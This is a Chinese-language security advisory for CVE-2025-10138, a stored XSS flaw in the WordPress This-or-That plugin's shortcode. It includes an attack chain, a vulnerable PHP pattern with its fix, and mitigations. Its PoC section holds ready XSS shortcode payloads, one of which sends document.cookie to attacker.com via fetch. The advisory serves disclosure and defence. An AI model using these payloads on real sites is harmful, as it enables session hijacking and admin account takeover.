IPBUF安全漏洞报告
English
CVE-2025-10138 CVSS 6.4 中危

CVE-2025-10138 WordPress This-or-That插件存储型XSS漏洞

披露日期: 2025-10-22

漏洞信息

漏洞编号
CVE-2025-10138
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress This-or-That 插件

相关标签

CVE-2025-10138Stored XSS存储型XSS跨站脚本攻击WordPressThis-or-That插件短代码漏洞Web安全中危漏洞Contributor权限

漏洞概述

CVE-2025-10138是WordPress平台上一款名为'This-or-That'的插件中存在的存储型跨站脚本(Stored XSS)漏洞。该漏洞由WordFence安全团队的安全研究员发现,并于2025年10月22日正式披露。该漏洞存在于插件的'thisorthat'短代码(shortcode)处理逻辑中,由于对用户输入的属性参数缺乏充分的输入净化(input sanitization)和输出转义(output escaping)处理,导致恶意攻击者可以注入任意JavaScript脚本代码。

该漏洞影响该插件的所有版本,最高至1.0.4版本(含)。成功利用此漏洞需要攻击者拥有WordPress网站的贡献者(contributor)级别或以上的访问权限。一旦利用成功,注入的恶意脚本将被持久化存储在目标网站的页面中,每当有用户访问被注入的页面时,恶意脚本就会自动执行。这可能导致用户会话劫持、敏感信息窃取、网站内容篡改、恶意重定向等多种安全风险。CVSS评分为6.4分,属于中等严重级别,攻击向量为网络攻击,需要低权限认证,无需用户交互,影响范围为已更改(Scope Changed),对机密性和完整性产生低影响。

技术细节

该漏洞的核心技术原理在于WordPress插件'This-or-That'在处理'thisorthat'短代码时,对用户通过短代码属性传入的参数值未进行充分的HTML实体编码和JavaScript关键字过滤。当贡献者级别或以上权限的用户在文章或页面中插入类似[thisorthat attribute="恶意代码"]的短代码时,插件直接将用户输入的属性值渲染到HTML输出中,而没有调用WordPress提供的esc_attr()、esc_html()或wp_kses()等安全转义函数进行过滤。

具体而言,攻击者可以构造包含JavaScript事件处理器(如onerror、onload、onmouseover等)或直接嵌入<script>标签的短代码属性值。例如,通过在短代码属性中注入onmouseover="alert(document.cookie)"或<img src=x onerror=alert(1)>等payload,当页面被渲染时,这些恶意脚本将在受害者的浏览器上下文中执行。由于该漏洞属于存储型XSS,注入的payload会保存在数据库中,影响所有后续访问该页面的用户,包括管理员用户,从而可能实现权限提升攻击。

攻击者利用此漏洞的步骤包括:首先注册或获取一个贡献者级别的WordPress账户,然后创建或编辑文章,在文章内容中插入包含恶意脚本的'thisorthat'短代码,最后发布文章。当其他用户(尤其是管理员)查看该文章时,恶意脚本将在其浏览器中执行,可能导致cookie窃取、会话劫持或执行管理操作等后果。

攻击链分析

STEP 1
步骤1:获取权限
攻击者注册一个WordPress账户或利用已有的贡献者(contributor)级别及以上权限的账户。贡献者级别允许用户创建和发布文章内容。
STEP 2
步骤2:构造恶意短代码
攻击者创建一篇新文章,在文章内容中插入包含恶意JavaScript代码的'thisorthat'短代码,例如在属性值中注入onerror事件处理器或<script>标签。
STEP 3
步骤3:发布恶意文章
攻击者将包含恶意短代码的文章发布到目标WordPress网站上。由于是存储型XSS,恶意payload被持久化保存到数据库中。
STEP 4
步骤4:触发XSS执行
当网站的其他用户(特别是管理员或其他高权限用户)访问包含恶意短代码的文章页面时,浏览器解析HTML并执行注入的JavaScript代码。
STEP 5
步骤5:执行恶意操作
恶意脚本在受害者浏览器上下文中执行,可窃取会话cookie、获取CSRF令牌、执行未授权操作(如创建管理员账户、修改网站设置),或进行钓鱼攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2025-10138: Stored XSS via 'thisorthat' shortcode --> <!-- Step 1: As a contributor-level user, create a new post --> <!-- Step 2: Insert the following shortcode into the post content --> [thisorthat option1="<img src=x onerror=alert('XSS-Via-CVE-2025-10138')">" option2="Click Me"] <!-- Alternative payload using event handler in attribute --> [thisorthat option1="<svg onload=alert(document.cookie)>" option2="Option B"] <!-- Alternative payload for cookie exfiltration --> [thisorthat option1="<img src=x onerror=\"fetch('https://attacker.com/steal?c='+document.cookie)\">" option2="Click"] <!-- Step 3: Publish the post --> <!-- Step 4: When any user (including admin) views the post, the XSS payload executes --> <?php // Conceptual vulnerable code pattern (from this-or-that.php around line 232): // The plugin renders shortcode attributes without proper escaping: // // function thisorthat_shortcode($atts) { // $attributes = shortcode_atts(array( // 'option1' => '', // 'option2' => '' // ), $atts); // // VULNERABLE: Direct output without esc_attr() or esc_html() // return '<div class="this-or-that" data-option1="' . $attributes['option1'] . '">' // . $attributes['option2'] . '</div>'; // } // // FIX: Use esc_attr() and esc_html() functions: // return '<div class="this-or-that" data-option1="' . esc_attr($attributes['option1']) . '">' // . esc_html($attributes['option2']) . '</div>'; ?>

影响范围

This-or-That 插件 <= 1.0.4

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)在WordPress后台通过用户角色管理功能,临时限制贡献者级别用户发布包含短代码的文章内容,或将其权限降级为订阅者;2)部署Web应用防火墙(WAF)规则,过滤短代码属性中的可疑HTML标签和JavaScript事件处理器;3)在wp-config.php中通过配置限制未授权的脚本执行;4)定期审查网站文章内容,及时识别和删除包含恶意短代码的已发布内容;5)监控网站管理员账户的异常活动,及时发现潜在的会话劫持行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表